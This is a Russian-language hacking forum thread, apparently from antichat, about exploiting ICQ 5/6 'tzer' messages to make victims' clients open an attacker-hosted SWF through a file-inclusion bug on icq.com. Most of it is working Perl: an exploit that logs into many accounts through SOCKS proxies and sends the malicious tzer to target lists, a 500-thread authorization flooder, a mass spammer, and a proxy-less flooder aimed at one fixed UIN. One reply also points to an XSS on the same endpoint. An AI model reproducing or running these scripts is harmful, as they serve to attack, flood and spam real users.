Icq 5/6 open url exploit Сегодня поизвращаемся над icq 6... идем в директорию с icq6 ICQ6\ConfigFiles\tzer.xml и так что мы видим? Code: <whitelist> <u>www.icq.com</u> <u>xtraz.icq.com</u> <u>c.icq.com</u> </whitelist> я предположил что если залить на один из этих сайтов свою swf то она без проблем откроеться... добавил в файл hosts Code: 127.0.0.1 c.icq.com залил на на локалхост swf'ky и послал себе в icq6 tzer Code: <tzer id="ID" name="hello" url="http://127.0.0.1/1.swf" preview="0" freeData="preview=0;uin=$uin"/>" swf'ka открылась...с сайтов не включенных в белый лист не открывалась... очевидно было, что нужно либо закачать swf например в greetings, либо подключить файл через какую-нибудь багу... например через эту Code: https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://url/1.swf (http://forum.antichat.ru/showthread.php?p=719835) После чего я взял флудер C!klodoL'a доработал его и сделал сплоит... умеет: -работать с socks -отправлять по списку -запрашивать авторизаию и тд Скрипт очень касячный... Писал на скороую руку для себя, есть версия написанная с нуля и не искользующая паблик баг с подкл файла...(если найдете много багов в этой версии выложу другую) HTML: ##!/usr/bin/perl #use warnings; use strict; use threads; use threads::shared; use Socket; use IO::Socket; use Time::HiRes qw(gettimeofday tv_interval); system("cls"); system("color 02"); print "\n\n\n\n\n\n\n"; print "\t\t\t_| _| \n"; print "\t\t\t _|_|_| _|_| _| _| \n"; print "\t\t\t_| _| _| _| _|_| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\t\t\t_| _| _| _| _| _| \n"; sleep(3); system("cls"); my $ttz : shared; $ttz=0; my $ta: shared; $ta=0; my $stt; my $authtext="auth"; my $tzer="<tzer id=\"ID\" name=\"hello\" url=\"https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://ya.ru/moogaloop.swf\" preview=\"0\" freeData=\"preview=0;uin=$stt\"/>"; my ($host,$port) = ('login.icq.com', 5190); my @uins : shared; open(FILE, '<C:\uins.txt') or die("\nuins.txt - error"); @uins = <FILE>; close(FILE); my @sendto : shared; open(FILE, '<C:\sendto.txt') or die("\nsendto.txt - error"); @sendto = <FILE>; close(FILE); my @proxy : shared; open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT @proxy = <FH>; close(FH); chomp(@proxy); chomp(@sendto); chomp(@uins); my $threads = 10; #количество потоков = количеству асек в файле if ($threads>scalar(@sendto)) {$threads=scalar(@sendto);} my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; } sub flood { open( my $fh, '>>C:\log.txt'); my @tmass; my $tmp=0; my ($uin,$password) = split(/;/,shift(@uins)); my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin. "\x00\x02".int2bytes(length($password)). substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)). "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00". "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A". "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00". "\x0E\x00\x02\x75\x73"; my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); my $prx = shift(@proxy); my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n"); my $buf; my $response; $sock->send(pack("C3", 0x05, 0x01, 0x00)); $sock->recv($buf, 2); #print join(" ", unpack("C2", $buf)), "\n"; $buf = pack("C4", 0x05, 0x01, 0x00, 0x01); $buf .= inet_aton($host); $buf .= pack("n", $port); #$buf .= 0x00; $sock->send($buf); $sock->recv($buf, 10); #print join(" ", unpack("C4", $buf)), "\n"; my @a = unpack("C4", $buf); die("SOCKS error: $a[1]") if $a[1]; #print join(".", unpack("C4", substr($buf, 4, 4))), "\n"; #print join("", unpack("n2", substr($buf, 8))), "\n"; $sock->recv($buf, 10); $sock->send($FLAP.$SNAC); $sock->recv($response,65535); close($sock); if($response=~/MISMATCH_PASSWD/) { return } my ($BOS_Host, $BOS_Port, $Cookie); if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) { $Cookie = parsCookie($response); print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port" } else { return } $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie; $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n"); $sock->send(pack("C3", 0x05, 0x01, 0x00)); $sock->recv($buf, 2); #print join(" ", unpack("C2", $buf)), "\n"; $buf = pack("C4", 0x05, 0x01, 0x00, 0x01); $buf .= inet_aton($BOS_Host); $buf .= pack("n", $BOS_Port); #$buf .= 0x00; $sock->send($buf); $sock->recv($buf, 10); #print join(" ", unpack("C4", $buf)), "\n"; @a = unpack("C4", $buf); die("SOCKS error: $a[1]") if $a[1]; #print join(".", unpack("C4", substr($buf, 4, 4))), "\n"; #print join("", unpack("n2", substr($buf, 8))), "\n"; $sock->recv($buf, 10); $sock->send($FLAP.$SNAC); $sock->recv($response,65535); $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02". "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15". "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06". "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A". "\x00\x01\x01\x10\x02\x8A"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); $sock->send($FLAP.$SNAC); my $t0 = [gettimeofday]; while(my $targetUin=shift(@sendto)) { if (tv_interval($t0)<60*3 && $targetUin) { $SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); $sock->send($FLAP.$SNAC,0); #$socket->recv($response,65535); sleep 2+int(rand(5)); $tmass[$tmp]=$targetUin; $tmp=$tmp+1; $ta=$ta+1; print $fh "\nsend auth to $targetUin"; system("cls"); print "\n\n\n\n\n\n\n"; print "\t\t\t_| _| \n"; print "\t\t\t _|_|_| _|_| _| _| \n"; print "\t\t\t_| _| _| _| _|_| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\n\n\n\n\t\t\tsend auth $ta send exploit $ttz\n"; } else {while($stt=shift(@tmass)) { sleep(60); my $core_len = 11 + 52 + length($tzer); $SNAC = pack('nnnNdnca*', 4, 6, 0, 1, $Cookie, 2, length($stt), $stt)."\x00\x05"."\x01\x4D\x00\x00\x88\xB8\x39\x95\x0C\x00\xDC\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0A\x00\x02\x00\x01\x00\x0F\x00\x00".pack('nnvv', 10001, ($core_len+51), 27, 8)."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x18\x00\x0E\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x01\x00\x00\x32\x00\x4F\xA6\xF3\x4C\x09\xB7\xFD\x48\x92\x08\x7E\x85\x7A\xE0\x73\x30\x00\x00\x0D\x00\x00\x00\x54\x2D\x5A\x65\x72\x20\x4D\x65\x73\x73\x61\x67\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('VVa*', (length($tzer)+4), length($tzer), $tzer)."\x00\x03\x00\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); $sock->send($FLAP.$SNAC,0); $t0 = [gettimeofday]; $ttz=$ttz+1; print $fh "\nsend exploit to $stt"; system("cls"); print "\n\n\n\n\n\n\n"; print "\t\t\t_| _| \n"; print "\t\t\t _|_|_| _|_| _| _| \n"; print "\t\t\t_| _| _| _| _|_| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\n\n\n\n\t\t\tsend auth $ta send exploit $ttz\n"; } } } if (@tmass) {sleep(60);} while ($stt=shift(@tmass)) { my $core_len = 11 + 52 + length($tzer); my $sss="\x00\x00\x88\xB8\x39\x95\x0C\x00\xDC\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0A\x00\x02\x00\x01\x00\x0F\x00\x00".pack('nnvv', 10001, ($core_len+51), 27, 8)."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x18\x00\x0E\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x01\x00\x00\x32\x00\x4F\xA6\xF3\x4C\x09\xB7\xFD\x48\x92\x08\x7E\x85\x7A\xE0\x73\x30\x00\x00\x0D\x00\x00\x00\x54\x2D\x5A\x65\x72\x20\x4D\x65\x73\x73\x61\x67\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('VVa*', (length($tzer)+4), length($tzer), $tzer); $SNAC = pack('nnnNdnca*', 4, 6, 0, 1, $Cookie, 2, length($stt), $stt).pack('nna*', 5, length($sss), $sss)."\x00\x03\x00\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); $sock->send($FLAP.$SNAC,0); $ttz=$ttz+1; print $fh "\nsend exploit to $stt"; system("cls"); print "\n\n\n\n\n\n\n"; print "\t\t\t_| _| \n"; print "\t\t\t _|_|_| _|_| _| _| \n"; print "\t\t\t_| _| _| _| _|_| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\n\n\n\n\t\t\tsend auth $ta send exploit $ttz\n"; } close $fh; } sub int2bytes { return pack('n',shift) } sub parsCookie { my $cookie = shift; my $i++; for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" } return substr($cookie,4+$i,256) } BEGIN { my $seqNum = int(rand(65535)); sub seqNum { $seqNum++; $seqNum = 0 if $seqNum > 65535; return int2bytes($seqNum) } } изменяем "Ваш урл" на url с swf Code: <tzer id=\"ID\" name=\"hello\" url=\"https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://Ваш урл/1.swf\" preview=\"0\" freeData=\"preview=0;uin=$stt\"/> чтобы открыть url у пользователя icq6 в fla файле должно быть HTML: getURL("http://xxx/", "_blank"); затем скомпилируйте и разместите по адресу "Ваш урл" запрещено распостронение за приделы forum.antichat.ru В ближайшие время постораюсь выложить спамер icq, и флудер авторизацией на основе флудера C!klodoL'a 1.fla и sploit.pl доступны по адресу http://ifolder.ru/7400251
Вот на скорую руку еще было набросанно -флудер авторизацией HTML: ##!/usr/bin/perl #use warnings; use strict; use threads; use threads::shared; use Socket; use IO::Socket; system("cls"); system("color 02"); print "\n\n\n\n\n\n\n"; print "\t\t\t_| _| \n"; print "\t\t\t _|_|_| _|_| _| _| \n"; print "\t\t\t_| _| _| _| _|_| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\t\t\t_| _| _| _| _| _| \n"; sleep(3); system("cls"); my $ta: shared; $ta=0; my $stt; my $targetUin=""; #kyga my $authtext="auth";#4em my ($host,$port) = ('login.icq.com', 5190); my @uins : shared; open(FILE, '<C:\uins.txt') or die("\nuins.txt - error"); @uins = <FILE>; close(FILE); my @proxy : shared; open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT @proxy = <FH>; close(FH); chomp(@proxy); chomp(@uins); my $threads = 500; #количество потоков = количеству асек в файле my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; } sub flood { open( my $fh, '>>C:\log.txt'); my @tmass; my $tmp=0; my ($uin,$password) = split(/;/,shift(@uins)); my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin. "\x00\x02".int2bytes(length($password)). substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)). "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00". "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A". "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00". "\x0E\x00\x02\x75\x73"; my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); my $prx = shift(@proxy); my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n"); my $buf; my $response; $sock->send(pack("C3", 0x05, 0x01, 0x00)); $sock->recv($buf, 2); #print join(" ", unpack("C2", $buf)), "\n"; $buf = pack("C4", 0x05, 0x01, 0x00, 0x01); $buf .= inet_aton($host); $buf .= pack("n", $port); #$buf .= 0x00; $sock->send($buf); $sock->recv($buf, 10); #print join(" ", unpack("C4", $buf)), "\n"; my @a = unpack("C4", $buf); die("SOCKS error: $a[1]") if $a[1]; #print join(".", unpack("C4", substr($buf, 4, 4))), "\n"; #print join("", unpack("n2", substr($buf, 8))), "\n"; $sock->recv($buf, 10); $sock->send($FLAP.$SNAC); $sock->recv($response,65535); close($sock); if($response=~/MISMATCH_PASSWD/) { return } my ($BOS_Host, $BOS_Port, $Cookie); if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) { $Cookie = parsCookie($response); print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port" } else { return } $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie; $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n"); $sock->send(pack("C3", 0x05, 0x01, 0x00)); $sock->recv($buf, 2); #print join(" ", unpack("C2", $buf)), "\n"; $buf = pack("C4", 0x05, 0x01, 0x00, 0x01); $buf .= inet_aton($BOS_Host); $buf .= pack("n", $BOS_Port); #$buf .= 0x00; $sock->send($buf); $sock->recv($buf, 10); #print join(" ", unpack("C4", $buf)), "\n"; @a = unpack("C4", $buf); die("SOCKS error: $a[1]") if $a[1]; #print join(".", unpack("C4", substr($buf, 4, 4))), "\n"; #print join("", unpack("n2", substr($buf, 8))), "\n"; $sock->recv($buf, 10); $sock->send($FLAP.$SNAC); $sock->recv($response,65535); $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02". "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15". "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06". "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A". "\x00\x01\x01\x10\x02\x8A"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); $sock->send($FLAP.$SNAC); while($targetUin) { $SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); $sock->send($FLAP.$SNAC,0); $ta=$ta+1; print "send auth $ta\n"; sleep 2+int(rand(5)); } close $fh; } sub int2bytes { return pack('n',shift) } sub parsCookie { my $cookie = shift; my $i++; for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" } return substr($cookie,4+$i,256) } BEGIN { my $seqNum = int(rand(65535)); sub seqNum { $seqNum++; $seqNum = 0 if $seqNum > 65535; return int2bytes($seqNum) } } -спамер icq HTML: ##!/usr/bin/perl #use warnings; use strict; use threads; use threads::shared; use Socket; use IO::Socket; system("cls"); system("color 02"); print "\n\n\n\n\n\n\n"; print "\t\t\t_| _| \n"; print "\t\t\t _|_|_| _|_| _| _| \n"; print "\t\t\t_| _| _| _| _|_| \n"; print "\t\t\t_| _| _| _| _| _| \n"; print "\t\t\t_| _| _| _| _| _| \n"; sleep(3); system("cls"); my $ta: shared; $ta=0; my $message="spam"; my ($host,$port) = ('login.icq.com', 5190); my @uins : shared; open(FILE, '<C:\uins.txt') or die("\nuins.txt - error"); @uins = <FILE>; close(FILE); my @sendto : shared; open(FILE, '<C:\sendto.txt') or die("\nsendto.txt - error"); @sendto = <FILE>; close(FILE); my @proxy : shared; open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT @proxy = <FH>; close(FH); chomp(@proxy); chomp(@sendto); chomp(@uins); my $threads = 500; #количество потоков = количеству асек в файле if ($threads>scalar(@sendto)) {$threads=scalar(@sendto);} my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; } sub flood { open( my $fh, '>>C:\log.txt'); my @tmass; my $tmp=0; my ($uin,$password) = split(/;/,shift(@uins)); my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin. "\x00\x02".int2bytes(length($password)). substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)). "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00". "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A". "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00". "\x0E\x00\x02\x75\x73"; my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); my $prx = shift(@proxy); my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n"); my $buf; my $response; $sock->send(pack("C3", 0x05, 0x01, 0x00)); $sock->recv($buf, 2); #print join(" ", unpack("C2", $buf)), "\n"; $buf = pack("C4", 0x05, 0x01, 0x00, 0x01); $buf .= inet_aton($host); $buf .= pack("n", $port); #$buf .= 0x00; $sock->send($buf); $sock->recv($buf, 10); #print join(" ", unpack("C4", $buf)), "\n"; my @a = unpack("C4", $buf); die("SOCKS error: $a[1]") if $a[1]; #print join(".", unpack("C4", substr($buf, 4, 4))), "\n"; #print join("", unpack("n2", substr($buf, 8))), "\n"; $sock->recv($buf, 10); $sock->send($FLAP.$SNAC); $sock->recv($response,65535); close($sock); if($response=~/MISMATCH_PASSWD/) { return } my ($BOS_Host, $BOS_Port, $Cookie); if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) { $Cookie = parsCookie($response); print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port" } else { return } $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie; $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n"); $sock->send(pack("C3", 0x05, 0x01, 0x00)); $sock->recv($buf, 2); #print join(" ", unpack("C2", $buf)), "\n"; $buf = pack("C4", 0x05, 0x01, 0x00, 0x01); $buf .= inet_aton($BOS_Host); $buf .= pack("n", $BOS_Port); #$buf .= 0x00; $sock->send($buf); $sock->recv($buf, 10); #print join(" ", unpack("C4", $buf)), "\n"; @a = unpack("C4", $buf); die("SOCKS error: $a[1]") if $a[1]; #print join(".", unpack("C4", substr($buf, 4, 4))), "\n"; #print join("", unpack("n2", substr($buf, 8))), "\n"; $sock->recv($buf, 10); $sock->send($FLAP.$SNAC); $sock->recv($response,65535); $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02". "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15". "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06". "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A". "\x00\x01\x01\x10\x02\x8A"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); $sock->send($FLAP.$SNAC); while(my $targetUin=shift(@sendto)) { $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02". pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102). "\x00\x00". "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00". "\x00\x0A\x00\x02\x00\x01\x00\x0F". "\x00\x00\x27\x11". #хз int2bytes(length($message)+62). #61 + длина текста "\x1B\x00\x08".("\x00"x19). "\x03\x00\x00\x00". "\x00\x02\x00\x0E\x00\x02".("\x00"x13). "\x01\x00\x00\x00\x00". "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); $sock->send($FLAP.$SNAC,0); $ta=$ta+1; sleep 2+int(rand(5)); print "send message $ta to $targetUin\n"; } close $fh; } sub int2bytes { return pack('n',shift) } sub parsCookie { my $cookie = shift; my $i++; for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" } return substr($cookie,4+$i,256) } BEGIN { my $seqNum = int(rand(65535)); sub seqNum { $seqNum++; $seqNum = 0 if $seqNum > 65535; return int2bytes($seqNum) } } Code: http://dump.ru/file_catalog/954684 все на скрипте C!klodoL'a Об ошибках в скриптах в пм.
хм, там значит впринципе есть xss, может конечно баян но я не видел https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://omfg0o.narod.ru/icq.txt Вообще интересно, автор молодец
Можешь без прокси сделать?(я про флудер)..а то нормальных нету..и пишет типо Code: thread failed to start: Err: Invalid argument
HTML: #!/usr/bin/perl use warnings; use strict; use threads; use threads::shared; use Socket; my $targetUin = 393571111; #кого my $authtext="auth";#4em my $ta: shared; $ta=0; my ($host,$port) = ('login.icq.com', 5190); print "\n$0 (c)oded by C!klodoL\n"; my @uins : shared; open(FILE, '<C:\uins.txt'); @uins = <FILE>; close(FILE); chomp(@uins); my $threads = 20; #количество потоков = количеству асек в файле my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; } sub flood { my ($uin,$password) = split(/;/,shift(@uins)); my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin. "\x00\x02".int2bytes(length($password)). substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)). "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00". "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A". "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00". "\x0E\x00\x02\x75\x73"; my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp')); connect(SOCKET,sockaddr_in($port,inet_aton($host))); my $response; sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); close(SOCKET); if($response=~/MISMATCH_PASSWD/) { return } my ($BOS_Host, $BOS_Port, $Cookie); if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) { $Cookie = parsCookie($response); print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n" } else { return } $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie; $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp')); connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host))); sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02". "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15". "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06". "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A". "\x00\x01\x01\x10\x02\x8A"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); for(;;) { $SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); $ta=$ta+1; print "send message # $ta\n"; sleep 2+int(rand(3)); } } sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое sub parsCookie { #парсер куки my $cookie = shift; my $i++; for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" } return substr($cookie,4+$i,256) } BEGIN { #счётчик номера пакета my $seqNum = int(rand(65535)); sub seqNum { $seqNum++; $seqNum = 0 if $seqNum > 65535; return int2bytes($seqNum) } } спец для тебя, кол-во тредов отредактируй http://dump.ru/file_catalog/957763